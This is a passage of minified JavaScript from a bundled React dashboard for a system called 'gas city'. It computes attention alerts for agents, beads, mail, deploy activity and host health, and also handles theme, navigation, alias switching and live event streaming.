unavailable",summary:e.error,href:"/beads"})),e.partial===!0&&n.push(qn("beads",{id:"beads:partial",title:"Bead list incomplete",href:"/beads"})),e.decisionsError!==void 0&&e.decisionsError.length>0&&n.push(It("beads",{id:"beads:decisions-unavailable",title:"Decision queue unavailable",summary:e.decisionsError,href:"/beads"})),e.escalationsError!==void 0&&e.escalationsError.length>0&&n.push(It("beads",{id:"beads:escalations-unavailable",title:"Escalation queue unavailable",summary:e.escalationsError,href:"/beads"}));for(const u of e.decisions??[])n.push(dk(u));const o=e.nowMs??Date.now(),s=(e.items??[]).filter(u=>!ck(u,e.decisionLabel));for(const u of PS({beads:s,escalations:e.escalations??[]},o)){const p=u.severity==="attention"?It:qn;n.push(p("beads",{id:`beads:${u.beadId}:${u.reason}`,title:`${u.beadId} ${uk(u.reason)}`,summary:u.summary,href:ph(u.beadId),updatedAt:u.updatedAt}))}return n}function uk(e){return e==="escalated"?"escalated":"unclaimed"}function ph(e){const n=new URLSearchParams;return n.set("bead",e),`/beads?${n.toString()}`}function ck(e,n){return(e.labels??[]).includes(n)}function dk(e){const n=e.metadata?.[QS];return It("beads",{id:`beads:${e.id}:mayor-decision`,title:e.title,href:ph(e.id),updatedAt:e.updated_at??e.created_at,...n!==void 0&&n.trim().length>0?{summary:n}:{}})}function pk(e){const n=[];if(e===void 0)return n;e.error!==void 0&&e.error.length>0&&n.push(It("mail",{id:"mail:unavailable",title:"Mail data unavailable",summary:e.error,href:"/mail"})),e.partial===!0&&n.push(qn("mail",{id:"mail:partial",title:"Mail list incomplete",href:"/mail"}));const o=e.nowMs??Date.now();for(const s of O2(e.items??[])){const u=ch(s.created_at,o),p=u!==null&&u>=qS;n.push(It("mail",{id:`mail:${s.id}:${p?"unread-stale":"unread"}`,title:s.subject,summary:p?`from ${s.from}, unread for ${dh(u)}`:`from ${s.from}`,href:fk(s.id),updatedAt:s.created_at}))}return n}function fk(e){const n=new URLSearchParams;return n.set("message",e),`/mail?${n.toString()}`}function mk(e){const n=[];if(e===void 0)return n;e.deploysError!==void 0&&e.deploysError.length>0&&n.push(It("activity",{id:"activity:deploys-unavailable",title:"Deploy data unavailable",summary:e.deploysError,href:"/activity"})),e.eventsDegraded!==void 0&&e.eventsDegraded.length>0&&n.push(qn("activity",{id:"activity:events-degraded",title:"Event stream degraded",summary:e.eventsDegraded,href:"/activity"})),e.eventsError!==void 0&&e.eventsError.length>0&&n.push(qn("activity",{id:"activity:events-unavailable",title:"Event history unavailable",summary:e.eventsError,href:"/activity"})),e.eventsPartial===!0&&n.push(qn("activity",{id:"activity:events-partial",title:"Event history incomplete",href:"/activity"})),vk(n,e.events??[]);const o=e.deploys;if(o===void 0)return n;o.failed_marker&&n.push(It("activity",{id:"activity:failed-marker",title:"Deploy failed marker present",href:"/activity"}));for(const s of o.items)s.status==="failed"?n.push(It("activity",{id:`activity:deploy:${s.at}:failed`,title:"Deploy failed",summary:s.detail,href:"/activity",updatedAt:s.at})):s.status==="in-progress"&&n.push(qn("activity",{id:`activity:deploy:${s.at}:in-progress`,title:"Deploy in progress",summary:s.detail,href:"/activity",updatedAt:s.at}));return n}function vk(e,n){for(const o of n){const s=US(o);if(s==="event")continue;const u=s==="attention"?It:qn;e.push(u("activity",{id:`activity:event:${String(o.seq)}:${o.type}`,title:o.type,summary:ZS(o),href:hk(o),updatedAt:o.ts}))}}function hk(e){return`/activity?${new URLSearchParams({mode:"events",type:e.type}).toString()}`}function gk(e){const n=[];return e===void 0||(e.dashboardError!==void 0&&e.dashboardError.length>0&&n.push(Wn({id:"health:dashboard-health-unavailable",title:"Dashboard health unavailable",summary:e.dashboardError})),e.supervisor!==void 0&&yk(n,e.supervisor),e.system!==void 0&&(_k(n,e.system),wk(n,e.system)),e.trend!==void 0&&!e.trend.available&&n.push(mr({id:"health:dolt-noms-unavailable",title:"Dolt-noms trend unavailable",summary:e.trend.reason}))),n}function yk(e,n){if(n.status==="unavailable"){e.push(Wn({id:"health:supervisor-unreachable",title:"Supervisor unreachable",summary:n.error}));return}const o=n.data;o.status!=="ok"&&e.push(Wn({id:"health:supervisor-not-ok",title:`Supervisor ${o.status}`})),o.city===void 0&&e.push(mr({id:"health:supervisor-city-missing",title:"Supervisor city missing",summary:"city was absent from generated supervisor health"})),o.version===void 0&&e.push(mr({id:"health:supervisor-version-missing",title:"Supervisor version missing",summary:"version was absent from generated supervisor health"}))}function _k(e,n){const o=n.admin;o.uptime_sec<VS&&e.push(Wn({id:"health:dashboard-process-starting",title:"Dashboard process just restarted",summary:`${o.uptime_sec}s uptime`})),o.rss_bytes>=WS?e.push(Wn({id:"health:dashboard-process-rss-high",title:"Dashboard RSS high",summary:Ta(o.rss_bytes)})):o.rss_bytes>=HS&&e.push(mr({id:"health:dashboard-process-rss-elevated",title:"Dashboard RSS elevated",summary:Ta(o.rss_bytes)})),o.heap_used_bytes>=KS?e.push(Wn({id:"health:dashboard-process-heap-high",title:"Dashboard heap high",summary:Ta(o.heap_used_bytes)})):o.heap_used_bytes>=GS&&e.push(mr({id:"health:dashboard-process-heap-elevated",title:"Dashboard heap elevated",summary:Ta(o.heap_used_bytes)}))}function wk(e,n){const o=wm(n.host.free_mem_bytes,n.host.total_mem_bytes);o!==null&&o<.05?e.push(Wn({id:"health:memory-critical",title:"Host memory critical",summary:`${Math.round(o*100)}% free`})):o!==null&&o<.1&&e.push(mr({id:"health:memory-low",title:"Host memory low",summary:`${Math.round(o*100)}% free`}));const s=wm(n.host.load_avg_1,n.host.cpu_count);s!==null&&s>1.5?e.push(Wn({id:"health:load-high",title:"Host load high",summary:`${n.host.load_avg_1.toFixed(2)} load across ${n.host.cpu_count} CPUs`})):s!==null&&s>1&&e.push(mr({id:"health:load-elevated",title:"Host load elevated",summary:`${n.host.load_avg_1.toFixed(2)} load across ${n.host.cpu_count} CPUs`}))}function Ta(e){return e>=1e9?`${(e/1e9).toFixed(1)} GB`:e>=1e6?`${Math.round(e/1e6)} MB`:e>=1e3?`${Math.round(e/1e3)} KB`:`${e} B`}function wm(e,n){return n<=0?null:e/n}function Wn(e){return{domain:"health",severity:"attention",href:"/health",current:!0,actionable:!0,...e}}function It(e,n){return{domain:e,severity:"attention",current:!0,actionable:!0,...n}}function qn(e,n){return{domain:e,severity:"watch",current:!0,actionable:!1,...n}}function Yo(e,n,o){return{domain:e,severity:"unavailable",current:!0,actionable:!1,...n,...o?.provenance===void 0?{}:{provenance:o.provenance},...o?.fetchedAt===void 0?{}:{fetchedAt:o.fetchedAt}}}function mr(e){return{domain:"health",severity:"watch",href:"/health",current:!0,actionable:!1,...e}}const Ek=1e3,xk=100,Ik="24h",Sk=2500;function kk(e,n){const o=Ua(),s=o??"no-city",{decisionLabel:u,operatorWireAlias:p}=e,d=b.useMemo(()=>bk(n),[n]),m=mn(`attention:agents:${s}`,()=>zk(o)),h=mn(`attention:beads:${s}:${u}`,()=>Tk(o,u)),y=mn(`attention:mail:${s}:${p}`,()=>Bk(o,e)),w=mn(`attention:activity:${s}`,()=>Pk(o)),I=mn(`attention:health:${s}`,()=>Nk(o));return b.useMemo(()=>YS(Ak({activity:w.data,agents:m.data,beads:h.data,health:I.data,mail:y.data,runs:d})),[w.data,m.data,h.data,I.data,y.data,d])}function bk(e){if(e!==void 0)return e.status==="error"?{error:e.error,provenance:"error"}:{summary:e.data,provenance:e.status,fetchedAt:e.fetchedAt}}async function zk(e){if(e===null)return{};try{const n=await it().listAgents(e),o={items:n.items??[],partial:n.partial===!0};try{const s=await it().listSessions(e);o.pendingInteractions=await dS(n.items??[],s.items??[])}catch(s){o.pendingError=Gt(s,"agent pending state unavailable")}return o}catch(n){return{error:Gt(n,"agent list unavailable")}}}async function Tk(e,n){if(e===null)return{decisionLabel:n};const[o,s,u]=await Promise.allSettled([yS({limit:Ek}),Ck(e,n),Rk(e)]),p={nowMs:Date.now(),decisionLabel:n};return o.status==="fulfilled"?(p.items=o.value.items,p.partial=o.value.partial===!0):p.error=Gt(o.reason,"bead list unavailable"),s.status==="fulfilled"?p.decisions=s.value.items??[]:p.decisionsError=Gt(s.reason,"decision queue unavailable"),u.status==="fulfilled"?p.escalations=u.value.items??[]:p.escalationsError=Gt(u.reason,"escalation queue unavailable"),p}async function Ck(e,n){return it().listBeads(e,{label:n,status:"open"})}async function Rk(e){return it().listBeads(e,{label:JS,status:"open"})}async function Bk(e,n){if(e===null)return{};try{const o=await pc("inbox",n.operatorAlias,n,dc);return{items:o.items??[],nowMs:Date.now(),partial:o.partial===!0}}catch(o){return{error:Gt(o,"mail list unavailable")}}}async function Pk(e){const[n,o]=await Promise.allSettled([oi.listBuilds(),e===null?Promise.resolve(null):it().listEvents(e,{limit:xk,since:Ik})]),s={};return n.status==="fulfilled"?s.deploys=n.value:s.deploysError=Gt(n.reason,"deploy activity unavailable"),o.status==="fulfilled"?o.value!==null&&(s.events=o.value.items??[],s.eventsPartial=o.value.partial===!0,o.value.partial_errors!==null&&o.value.partial_errors!==void 0&&(s.eventsDegraded=o.value.partial_errors.join("; "))):s.eventsError=Gt(o.reason,"event history unavailable"),s}async function Nk(e){if(e===null)return{};const[n,o,s]=await Promise.allSettled([oi.systemHealth(),cc(Sk).cityHealth(e),oi.doltTrend()]),u={},p=[];return n.status==="fulfilled"?u.system=n.value:p.push(Gt(n.reason,"dashboard health unavailable")),o.status==="fulfilled"?u.supervisor={status:"available",data:o.value}:u.supervisor={status:"unavailable",error:Gt(o.reason,"supervisor health unavailable")},s.status==="fulfilled"?u.trend=s.value:p.push(Gt(s.reason,"dolt-noms trend unavailable")),p.length>0&&(u.dashboardError=p.join("; ")),u}function Ak(e){const n={};for(const[o,s]of Object.entries(e))s!==void 0&&(n[o]=s);return n}async function Kr(e){const n={Accept:"application/json","Content-Type":"application/json","X-GC-Request":"dashboard"};try{const o=await fetch("/api/client-errors",{method:"POST",headers:n,credentials:"same-origin",keepalive:!0,body:JSON.stringify(e)});return o.ok?{status:"reported"}:{status:"failed",error:`client error report failed with ${o.status}`}}catch(o){return{status:"failed",error:Vr(o)}}}class fh extends b.Component{state={crashed:!1};static getDerivedStateFromError(){return{crashed:!0}}componentDidCatch(n,o){Kr({component:"ErrorBoundary",operation:"componentDidCatch",message:Vr(n)})}render(){return this.state.crashed?$.jsx("main",{className:"max-w-dashboard mx-auto px-4 sm:px-6 lg:px-8 py-12",children:$.jsxs("section",{className:"space-y-4",role:"alert",children:[$.jsx("h1",{className:"text-display font-semibold text-fg",children:"Dashboard view failed."}),$.jsx("p",{className:"text-body text-fg-muted",children:"The error was reported to the local dashboard log. Refresh to retry this view."})]})}):this.props.children}}function Ok({label:e,summary:n}){const o=n.attention+n.watch;if(o===0||n.severity===null)return null;const s=o===1?"item":"items";return $.jsx("span",{"aria-label":`${e}: ${o} ${n.severity} ${s}`,className:`ml-1 align-super text-[0.65rem] leading-none tnum ${jk(n.severity)}`,children:o})}function jk(e){return e==="attention"?"text-accent":"text-warn"}function mh(e,n,o){try{const s=fc(e).getItem(n);return s===null?{status:"missing"}:{status:"found",value:s}}catch(s){return mc(e,"getItem",n,o,s)}}function vh(e,n,o,s){try{return fc(e).setItem(n,o),{status:"stored"}}catch(u){return mc(e,"setItem",n,s,u)}}function hh(e,n,o){try{return fc(e).removeItem(n),{status:"stored"}}catch(s){return mc(e,"removeItem",n,o,s)}}function fc(e){return e==="localStorage"?window.localStorage:window.sessionStorage}function mc(e,n,o,s,u){const p=Vr(u);return Kr({component:s,operation:`${e}.${n}`,message:`${o}: ${p}`}),{status:"unavailable",error:p}}const fu="gascity:theme",mu="ThemeContext",gh=b.createContext(null);function $k(){const e=mh("localStorage",fu,mu);return e.status==="found"&&(e.value==="light"||e.value==="dark")?e.value:"system"}function Lk(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}function Dk(e){const n=document.documentElement;e==="system"?n.removeAttribute("data-theme"):n.setAttribute("data-theme",e)}function Mk({children:e}){const[n,o]=b.useState($k),[s,u]=b.useState(Lk);b.useEffect(()=>{const y=window.matchMedia("(prefers-color-scheme: dark)"),w=()=>u(y.matches?"dark":"light");return y.addEventListener("change",w),()=>y.removeEventListener("change",w)},[]);const p=n==="system"?s:n,d=b.useCallback(y=>{o(y),y==="system"?hh("localStorage",fu,mu):vh("localStorage",fu,y,mu),Dk(y)},[]),m=b.useCallback(()=>{d(p==="dark"?"light":"dark")},[p,d]),h=b.useMemo(()=>({pref:n,resolved:p,set:d,toggle:m}),[n,p,d,m]);return $.jsx(gh.Provider,{value:h,children:e})}function Fk(){const e=b.useContext(gh);if(e===null)throw new Error("useTheme must be used inside <ThemeProvider>");return e}const yh={operatorAlias:"operator",operatorWireAlias:"human",decisionLabel:"needs/operator"},_h=b.createContext(yh);function Uk({operator:e,children:n}){return $.jsx(_h.Provider,{value:e,children:n})}function wh(){return b.useContext(_h)}function Zk(e){return e===void 0?yh:{operatorAlias:e.operatorAlias,operatorWireAlias:e.operatorWireAlias,decisionLabel:e.decisionLabel}}const qk={ok:"text-ok",warn:"text-warn",stuck:"text-accent",neutral:"text-fg-muted"},Vk={ok:"●",warn:"▲",stuck:"■",neutral:"·"};function Wk({tone:e,label:n,glyph:o,trailing:s,className:u="",title:p}){return $.jsxs("span",{className:`inline-flex items-baseline gap-1.5 text-body ${qk[e]} ${u}`,title:p,children:[$.jsx("span",{"aria-hidden":!0,className:"text-[0.85em] leading-none translate-y-[1px]",children:o??Vk[e]}),$.jsx("span",{children:n}),s&&$.jsx("span",{className:"text-fg-faint text-label uppercase tracking-wider",children:s})]})}function Rb(e){switch(e){case"closed":return"neutral";case"in_progress":return"ok";case"blocked":return"stuck";default:return"warn"}}function Bb(e){switch(e){case"active":case"running":return"ok";case"rate-limited":case"rate_limited":case"waiting":return"warn";case"failed":case"closed":case"errored":case"stuck":return"stuck";default:return"neutral"}}const Eh=b.createContext(!1);function Hk({readOnly:e,children:n}){return $.jsx(Eh.Provider,{value:e,children:n})}function Kk(){return b.useContext(Eh)}function Gk(e,n){return e?e.readOnly:n!==null}const xh="Read-only mode: mutations are disabled";function Pb(){return $.jsx(Wk,{tone:"warn",label:"Read-only",title:xh})}const Jk="mayor";function Qk(e){const{operator:n,sessionAliases:o,mailFromOrTo:s}=e,u=new Map;for(const B of o){const D=B.toLowerCase();u.has(D)||u.set(D,B)}for(const B of s){const D=B.toLowerCase();u.has(D)||u.set(D,B)}const p=n.toLowerCase(),d=new Set(s.map(B=>B.toLowerCase())),m=[n],h=[],y=[],w=[];for(const[B,D]of u)if(B!==p){if(B===Jk){h.push(D);continue}d.has(B)?y.push(D):w.push(D)}const I=(B,D)=>B.toLowerCase().localeCompare(D.toLowerCase());y.sort(I),w.sort(I);const z=[{tier:"you",aliases:m}];return h.length>0&&z.push({tier:"mayor",aliases:h}),y.length>0&&z.push({tier:"active",aliases:y}),w.length>0&&z.push({tier:"other",aliases:w}),z}function Yk(e,n){return e===n?"user":e}function Nb(e){switch(e){case"you":return"You";case"mayor":return"Mayor";case"active":return"Active";case"other":return"Other"}}async function Xk(){return it().listSessions(Mt("list supervisor sessions"))}async function Ab(e){const n=await it().sessionTranscript(Mt("fetch supervisor session transcript"),e);return n6(n)}function e6(e){return(e.items??[]).map(t6)}function t6(e){const n={id:e.id,template:e.template,session_name:e.session_name,title:e.title,state:e.state,created_at:e.created_at,attached:e.attached,running:e.running,provider:e.provider};return e.alias!==void 0&&(n.alias=e.alias),e.reason!==void 0&&(n.reason=e.reason),e.display_name!==void 0&&(n.display_name=e.display_name),e.last_active!==void 0&&(n.last_active=e.last_active),e.rig!==void 0&&(n.rig=e.rig),e.pool!==void 0&&(n.pool=e.pool),e.agent_kind!==void 0&&(n.agent_kind=e.agent_kind),e.model!==void 0&&(n.model=e.model),e.context_pct!==void 0&&(n.context_pct=e.context_pct),e.context_window!==void 0&&(n.context_window=e.context_window),e.activity!==void 0&&(n.activity=e.activity),n}function n6(e,n=new Date().toISOString()){const o=e.turns??[];return{...e,turns:o,total_chars:o.reduce((s,u)=>s+u.text.length,0),captured_at:n,truncated:!1}}const vu="gascity.dashboard.viewingAs",Gr="ViewingAsContext",Em=/^[a-z][a-z0-9_./-]{1,63}$/i,xm=[3e4,9e4,27e4];function r6(e){if(!Number.isInteger(e)||e<0||e>=xm.length)return null;const n=xm[e];return n===void 0?null:n}const Ih=b.createContext(null);function Im(e){const n=mh("sessionStorage",vu,Gr);if(n.status==="found"){const o=n.value;if(o.length>0&&o.length<=64)return o}return e}function Xl(e,n){e===n?hh("sessionStorage",vu,Gr):vh("sessionStorage",vu,e,Gr)}function o6({children:e}){const n=wh(),{operatorAlias:o}=n,[s,u]=b.useState(()=>Im(o)),p=b.useRef(o),[d,m]=b.useState([]),[h,y]=b.useState([]),[w,I]=b.useState(!1),[z,B]=b.useState(!1),D=b.useRef(!1),V=b.useRef(!0),A=b.useRef(null),H=b.useCallback(pe=>{u(pe),Xl(pe,o)},[o]),oe=b.useCallback(()=>{u(o),Xl(o,o)},[o]),Q=b.useCallback(async()=>{try{const pe=await Xk();if(!V.current)return!0;const Te=new Set,ye=[];for(const Ae of pe.items??[]){if(typeof Ae.alias!="string"||!Em.test(Ae.alias))continue;const Ke=Ae.alias.toLowerCase();Te.has(Ke)||(Te.add(Ke),ye.push(Ae.alias))}return m(ye),B(!1),!0}catch(pe){return Kr({component:Gr,operation:"loadAliases.sessions",message:Vr(pe)}),!1}},[]),K=b.useCallback(pe=>{if(!V.current)return;const Te=r6(pe);Te!==null&&(A.current=setTimeout(()=>{A.current=null,V.current&&Q().then(ye=>{V.current&&(ye||K(pe+1))}).catch(ye=>{Kr({component:Gr,operation:"loadAliases.sessionsRetry",message:Vr(ye)})})},Te))},[Q]),Y=b.useCallback(()=>{if(D.current)return;D.current=!0,I(!0);let pe=2;const Te=()=>{pe-=1,pe===0&&V.current&&I(!1)};Q().then(ye=>{V.current&&(ye||(B(!0),K(0)))}).finally(Te),pc("all",o,n).then(ye=>{if(!V.current)return;const Ae=new Set,Ke=[];for(const Oe of ye.items)for(const Xe of[Oe.from,Oe.to]){if(typeof Xe!="string"||Xe.length===0||!Em.test(Xe))continue;const kt=Xe.toLowerCase();Ae.has(kt)||(Ae.add(kt),Ke.push(Xe))}y(Ke)}).catch(ye=>{Kr({component:Gr,operation:"loadAliases.mail",message:Vr(ye)})}).finally(Te)},[Q,K,o,n]);b.useEffect(()=>(V.current=!0,()=>{V.current=!1,A.current!==null&&(clearTimeout(A.current),A.current=null)}),[]),b.useEffect(()=>{const pe=p.current;p.current=o,pe!==o&&s===pe&&u(Im(o))},[o,s]);const ue=b.useMemo(()=>Qk({operator:o,sessionAliases:d.includes(s)?d:[...d,s],mailFromOrTo:h}),[d,h,s,o]),ce=b.useMemo(()=>({viewingAs:{alias:s,isOperator:s===o},setAlias:H,resetToOperator:oe,aliasBuckets:ue,aliasesLoading:w,sessionsUnavailable:z,loadAliases:Y}),[s,o,H,oe,ue,w,z,Y]);return b.useEffect(()=>{const pe=()=>{document.hidden&&s!==o&&(u(o),Xl(o,o))};return document.addEventListener("visibilitychange",pe),()=>document.removeEventListener("visibilitychange",pe)},[s,o]),$.jsx(Ih.Provider,{value:ce,children:e})}function i6(){const e=b.useContext(Ih);if(e===null)throw new Error("useViewingAs must be inside <ViewingAsProvider>");return e}const a6={id:"activity",kind:"core",path:"/activity",nav:{label:"Activity",order:55},element:b.lazy(()=>En(()=>import("./Activity-vQrY22hr.js"),__vite__mapDeps([0,1,2,3,4])).then(e=>({default:e.ActivityPage})))},s6={id:"health",kind:"core",path:"/health",nav:{label:"Health",order:60},element:b.lazy(()=>En(()=>import("./Health-BX_NsCAd.js"),__vite__mapDeps([5,1,2,4,6,3])).then(e=>({default:e.HealthPage})))},Sh=[a6,s6],l6={views:"views"};function u6(e,n){console.warn(`[${e}] ${n}`)}function kh(e,n){const o=new Set(n??[]);return e.filter(s=>s.kind==="core"||o.has(s.id))}const c6={};function d6(e,n){const o=[];if(n!==null){const d=c6[n];if(d!==void 0){if(e.some(h=>h.id===d.target))return{view:null,redirectTo:d.redirectTo,source:"env",warnings:o};o.push(`DEFAULT_VIEW="${n}" alias targets the "${d.target}" view, which is not enabled in this deployment (known enabled ids: ${e.map(h=>h.id).join(", ")||"(none)"}); falling through to descriptor / ambient-home`)}else{const m=e.find(h=>h.id===n);if(m!==void 0)return{view:m,source:"env",warnings:o};o.push(`DEFAULT_VIEW="${n}" does not match any enabled view (known enabled ids: ${e.map(h=>h.id).join(", ")||"(none)"}); falling through to descriptor / ambient-home`)}}const s=e.filter(d=>d.defaultRoute===!0),[u,...p]=s;if(u!==void 0&&p.length===0)return{view:u,source:"descriptor",warnings:o};if(u!==void 0){const m=[...s].sort(f6)[0]??u;return o.push(`multiple views declare defaultRoute: true (${s.map(h=>h.id).join(", ")}); picking "${m.id}" by lowest nav.order`),{view:m,source:"descriptor",warnings:o}}return{view:null,source:"fallback",warnings:o}}function p6(e,n){const o=d6(e,n);for(const s of o.warnings)u6(l6.views,s);return o}function f6(e,n){const o=e.nav?.order??Number.POSITIVE_INFINITY,s=n.nav?.order??Number.POSITIVE_INFINITY;return o!==s?o-s:e.id.localeCompare(n.id)}const m6=[{to:"/",label:"Home",end:!0,order:10},{to:"/agents",label:"Agents",order:20},{to:"/beads",label:"Beads",order:30},{to:"/runs",label:"Runs",order:40},{to:"/mail",label:"Mail",order:50}],v6={"/agents":"agents","/beads":"beads","/runs":"runs","/mail":"mail","/activity":"activity","/health":"health"};function h6(){const{resolved:e,toggle:n}=Fk(),{viewingAs:o}=i6(),{operatorAlias:s}=wh(),u=Kk(),p=d3(),{data:d}=mn("config",()=>oi.config()),{data:m}=mn("cities",()=>it().listCities()),h=Ua(),y=m?.items??[],w=h??d?.cityName??"",I=w===""||y.some(H=>H.name===w),z=y.length>1||!I,B=H=>{H!==h&&window.location.assign(`/city/${encodeURIComponent(H)}/`)},D=b.useMemo(()=>{const oe=kh(Sh,d?.enabledModules??null).flatMap(Q=>Q.nav===null?[]:[{to:Q.path,label:Q.nav.label,end:Q.path==="/",order:Q.nav.order}]);return[...m6,...oe].sort((Q,K)=>Q.order-K.order)},[d?.enabledModules]),{pathname:V}=wn(),A=!o.isOperator&&V.startsWith("/mail");return $.jsx("header",{className:"border-b border-rule",children:$.jsxs("div",{className:"max-w-dashboard mx-auto px-4 sm:px-6 lg:px-8 py-5 flex items-baseline gap-x-6 lg:gap-x-8 gap-y-2 flex-wrap",children:[$.jsxs("div",{className:"flex items-baseline gap-3 min-w-0",children:[$.jsx("span",{className:"text-title font-semibold tracking-tight text-fg",children:"gas city"}),$.jsx("span",{className:"text-fg-muted","aria-hidden":"true",children:"·"}),z?$.jsx("label",{className:"sr-only",htmlFor:"city-switcher",children:"Switch city"}):null,z?$.jsxs("select",{id:"city-switcher",value:w,onChange:H=>B(H.target.value),className:"text-label uppercase tracking-wider text-fg-muted bg-transparent border-0 focus-mark cursor-pointer hover:text-fg transition-colors duration-150 ease-out-quart",children:[!I&&w!==""?$.jsxs("option",{value:w,disabled:!0,children:[w," (unknown)"]}):null,y.map(H=>$.jsxs("option",{value:H.name,children:[H.name,H.running?"":" (stopped)"]},H.name))]}):$.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:w||"city"}),A&&$.jsxs("span",{className:"text-label uppercase tracking-wider text-accent ml-3",children:["· reading as ",Yk(o.alias,s)]}),u&&$.jsx("span",{title:xh,className:"text-label uppercase tracking-wider text-warn ml-3",children:"· read-only"})]}),$.jsx("nav",{className:"flex-1",children:$.jsx("ul",{className:"flex items-baseline gap-x-5 lg:gap-x-7 gap-y-1 flex-wrap",children:D.map(H=>{const oe=v6[H.to];return $.jsx("li",{children:$.jsxs(Hy,{to:H.to,end:H.end??!1,className:({isActive:Q})=>["text-title transition-colors duration-150 ease-out-quart focus-mark",Q?"text-fg font-semibold":"text-fg-muted font-medium hover:text-fg"].join(" "),children:[H.label,oe!==void 0&&$.jsx(Ok,{label:H.label,summary:p.byDomain[oe]})]})},H.to)})})}),$.jsx("button",{type:"button",onClick:n,"aria-label":`Switch to ${e==="dark"?"light":"dark"} theme`,className:"text-label uppercase tracking-wider text-fg-muted hover:text-fg transition-colors duration-150 ease-out-quart focus-mark",children:e==="dark"?"Light":"Dark"})]})})}function g6({children:e}){return $.jsxs("div",{className:"min-h-screen bg-surface text-fg antialiased",children:[$.jsx(h6,{}),$.jsx("main",{className:"max-w-dashboard mx-auto px-4 sm:px-6 lg:px-8 py-12",children:e})]})}const bh=b.createContext(null);function y6({children:e,intervalMs:n=1e3}){const[o,s]=b.useState(()=>Date.now());return b.useEffect(()=>{const u=window.setInterval(()=>{s(Date.now())},n);return()=>{window.clearInterval(u)}},[n]),$.jsx(bh.Provider,{value:o,children:e})}function Ob(){const e=b.useContext(bh);if(e===null)throw new Error("useNow must be called inside a NowProvider.");return e}const _6=2e3,w6=2500;function E6(e,n,o={}){const[s,u]=b.useState("connecting"),p=b.useRef(n);p.current=n;const d=b.useRef(o.matches);d.current=o.matches;const m=b.useRef(o.coalesceMs);m.current=o.coalesceMs;const h=e.join(","),y=b.useRef(0),w=b.useRef(null);return b.useEffect(()=>{if(e.length===0){u("closed");return}let I=null,z=!1,B=null,D=null,V=1e3,A=!1;const H=()=>{D!==null&&(clearTimeout(D),D=null)},oe=ue=>{A||(A=!0,x6(ue))},Q=()=>{y.current=Date.now(),p.current()},K=()=>{const ue=m.current??w6,ce=Date.now()-y.current;ce>=ue?(w.current&&(clearTimeout(w.current),w.current=null),Q()):w.current===null&&(w.current=setTimeout(()=>{w.current=null,z||Q()},ue-ce))},Y=()=>{const ue=globalThis.EventSource;if(typeof ue!="function"){u("closed");return}const ce=Ua();if(ce===null){u("closed");return}const pe=new ue(it().cityEventStreamUrl(ce));I=pe,u("connecting"),D=setTimeout(()=>{z||I!==pe||pe.readyState===ue.CLOSED||u("open")},_6),I.onopen=()=>{z||(H(),u("open"),V=1e3)};const Te=ye=>{if(z)return;let Ae=null;try{Ae=JSON.parse(ye.data)}catch{u("degraded"),oe("invalid JSON");return}if(!I6(Ae)){u("degraded"),oe("missing string event type");return}const Ke=Ae.type;if(typeof Ke!="string"){u("degraded"),oe("missing string event type");return}u("open");for(const Oe of e)if(Ke.startsWith(Oe)){const Xe=Ae;(d.current?.(Xe)??!0)&&K();break}};I.onmessage=Te,I.addEventListener("event",Te),I.onerror=()=>{z||(H(),u("closed"),I?.close(),I=null,B=setTimeout(()=>{V=Math.min(V*2,3e4),Y()},V))}};return Y(),()=>{z=!0,B&&clearTimeout(B),H(),w.current&&(clearTimeout(w.current),w.current=null),I?.close()}},[h]),s}function x6(e){Kr({component:"gc-events",operation:"parse event",message:`Malformed gc event payload: ${e}.`})}function I6(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}const Sm=1,S6=250;async function k6(e){let n;for(let o=0;o<=Sm;o+=1)try{return await e()}catch(s){if(n=s,o===Sm||!b6(s))throw s;await z6(S6)}throw n}function b6(e){return e instanceof vn?e.status===void 0?/timed out after \d+ms/.test(e.message):e.status>=500:!1}function z6(e){return new Promise(n=>setTimeout(n,e))}function zh(e){return e.partial===!0||(e.partial_errors?.length??0)>0||(e.next_cursor?.length??0)>0}function Th(e,n){return zh(e)||typeof e.total=="number"&&e.total>n}const vc=500,km=500,hc=60*1e3,T6=15e3,gc=2500,C6=3e4,R6=3e3,bm=new Map;async function B6(){return Ch(C6)}async function jb(){return Ch(gc)}async function Ch(e){const n=Mt("load supervisor run summary"),o=new Date().toISOString();try{const[s,u]=await Promise.all([Bh(n,vc,e),Ph(n,e)]),p=Cu(s.beads.filter(Ru).map(bu),s.feedScopes,s.partial),d={source:"runs",status:"fresh",fetchedAt:o,staleAt:new Date(Date.parse(o)+hc).toISOString(),error:{kind:"none"},data:p};return{...d,data:Nh(n,d,u)}}catch(s){return{source:"runs",status:"error",error:Ec(s,"formula runs unavailable")}}}async function P6(){const e=Mt("load supervisor run summary active"),n=new Date().toISOString();try{const[o,s]=await Promise.all([N6(e,vc),Ph(e,gc)]),u=Cu(o.beads.filter(Ru).map(bu),o.feedScopes,o.partial),p={source:"runs",status:"fresh",fetchedAt:n,staleAt:new Date(Date.parse(n)+hc).toISOString(),error:{kind:"none"},data:u};return{...p,data:Nh(e,p,s)}}catch(o){return{source:"runs",status:"error",error:Ec(o,"formula runs unavailable")}}}async function N6(e,n){const o=await Rh(e,n),s=wc(o.items??[]);return{beads:s,feedScopes:new Map,partial:Th(o,s.length)}}async function A6(){const e=Mt("load supervisor run summary preview"),n=new Date().toISOString();try{const o=await Bh(e,vc,gc),s=Cu(o.beads.filter(Ru).map(bu),o.feedScopes,o.partial);return{source:"runs",status:"fresh",fetchedAt:n,staleAt:new Date(Date.parse(n)+hc).toISOString(),error:{kind:"none"},data:s}}catch(o){return{source:"runs",status:"error",error:Ec(o,"formula runs unavailable")}}}function O6(){return cc(T6)}async function Rh(e,n){return k6(()=>O6().listBeads(e,{limit:n}))}function yc(e){return cc(e)}async function Bh(e,n,o){const s=zm(e,{limit:km,type:"molecule",all:!0},Math.min(R6,o)),[u,p]=await Promise.all([Rh(e,n),j6(e,o)]),d=wc(u.items??[]),h=L6($6(d),p.rigNames).map(z=>zm(e,{limit:km,type:"task",rig:z,all:!0},o)),y=await Promise.all([s,...h]),w=[];let I=p.partial||Th(u,d.length);for(const z of y){if(z.ok){w.push(...z.items),I||=z.partial;continue}I=!0}return{beads:D6([...d,...w]),feedScopes:p.scopes,partial:I}}async function zm(e,n,o){try{const s=await _c(yc(o).listBeads(e,n),`recent ${n.type} beads`,o);return{ok:!0,items:wc(s.items??[]),partial:zh(s)}}catch{return{ok:!1}}}async function j6(e,n){try{const o=await 